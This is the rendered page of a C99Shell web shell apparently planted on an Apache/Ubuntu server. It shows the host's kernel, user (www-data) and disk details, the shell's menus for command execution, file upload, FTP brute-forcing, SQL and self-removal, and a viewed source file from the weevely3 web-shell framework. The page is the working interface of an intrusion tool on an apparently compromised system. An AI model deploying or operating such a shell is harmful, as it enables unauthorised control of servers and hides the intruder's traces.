!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/core/   drwxr-xr-x
Free 13.15 GB of 57.97 GB (22.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     modules.py (1.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import glob
import os

from . import config


loaded = {}
loaded_tree = {}


def load_modules(session):
    """Load all modules"""

    modules_paths = glob.glob(f"{config.weevely_path}/modules/*/[a-z]*py")

    for module_path in modules_paths:
        module_group, module_filename = module_path.split(os.sep)[-2:]
        module_name = os.path.splitext(module_filename)[0]
        classname = module_name.capitalize()

        # Import module
        module = __import__(f"weevely.modules.{module_group}.{module_name}", fromlist=["*"])

        # Check if the module support folder exists
        folder = module_path.replace(module_filename, "_%s" % module_name)

        # Init class, passing current terminal instance and module name
        module_class = getattr(module, classname)(session, f"{module_group}_{module_name}", folder)

        loaded[f"{module_group}_{module_name}"] = module_class

        # Keep the tree in a dict of strings in the form
        # `{ 'group1' : [ 'mod1', 'mod2' ] }`
        tree_group = loaded_tree.get(module_group)
        if not tree_group:
            loaded_tree[module_group] = []
        loaded_tree[module_group].append(f"{module_group}_{module_name}")

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--